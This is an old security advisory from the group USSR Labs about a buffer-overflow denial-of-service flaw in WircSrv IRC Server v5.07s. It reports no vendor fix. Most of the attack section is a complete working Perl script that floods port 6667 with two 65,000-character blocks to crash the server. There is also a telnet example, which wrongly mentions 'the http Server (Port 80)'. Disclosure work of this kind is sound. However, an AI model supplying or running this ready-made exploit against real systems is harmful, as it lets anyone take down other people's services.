Remote DoS Attack in WircSrv Irc Server v5.07s Vulnerability

   

 

WircSrv

 

Remote DoS Attack in WircSrv Irc Server v5.07s Vulnerability

"THE KING IS THE NEXT RELEASE"

USSR Advisory Code:  USSR-2000049

Release Date:
July 10, 2000

Systems Affected:
WircSrv Irc Server v5.07s

THE PROBLEM

The Ussr Labs team has recently discovered a buffer overflow memory problem in the WircSrv Irc Server.
What happens is by performing an attack with a malformed request to port 6667 it will cause the process 
containing the services to stop responding.

SPECIAL NOTE: That we take no responsibility for this code it is for educational purposes only.

Example:
The http Server (Port 80) service has an overflow in the GET command

[hellme@die-communitech.net$ telnet irc.example.com 6667
Trying example.com...
Connected to example.com.
Escape character is '^]'.
[buffer]

Where [buffer] is approx. 65000 characters, and the process containg the service crashes

Code in Perl:
wircsrvdos.pl
-------------------------Start File--------------------
#!/usr/bin/perl
#########################################################
# Exploit by USSRLabs www.ussrback.com
# WircSrv Version 5.07s Remote DoS attack
# send 2 64k blocks of data causes the server to crash. 
#########################################################
use Getopt::Std;
use Socket;

getopts('s:', \%args);
if(!defined($args{s})){&usage;}

my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);

$foo = "A";		              # this is the NOP
$number = "65000";		      # this is the total number of NOP
$data .= $foo x $number;	      # result of $foo times $number
$serv = $args{s};		      # remote server
$port =  6667;			      # remote port, default is 6667
$buf = "$data"; 		      # issue this response to the server

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print S "$buf";
print("Data has been successfully sent to $serv\n");

sub usage {die("\n\nExploit by USSRLabs www.ussrback.com\nWircSrv Version 5.07s 
Remote DoS attack\nsend 2 64k blocks of data causes the server to crash.\n -s server_ip\n\n");}
-------------------------End File----------------------


Vendor Status:  
Informed!

Fix: 
No Fix

Vendor   Url: http://www.wircsrv.com/
Program  Url: http://www.wircsrv.com/wirc507s.exe

Related Links:

Underground Security Systems Research:
http://www.ussrback.com

CrunchSp Product:
http://www.crunchsp.com

Greetings:
Attrition, w00w00, beavuh, Rhino9, Synnergy.net, SecurityFocus.com, ADM, HNC, #Synnergy (efnet),#hackphreak (efnet)
,Technotronic, dethy, RFP and Wiretrip.

Copyright (c) 1999-2000 Underground Security Systems Research.
Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in 
any way without express consent of Ussr. If you wish to reprint the whole or any part of this alert in any 
other medium excluding electronic medium, please e-mail labs@ussrback.com for permission.

Disclaimer:
The information within this paper may change without notice. We may not be held responsible for the 
use and/or potential effects of these programs or advisories, use them and read them at your own risk 
or not at all. You solely are responsible for this judgement. 

Feedback:
Please send suggestions, updates, and comments to:

Underground Security Systems Research
mail:labs@ussrback.com
http://www.ussrback.com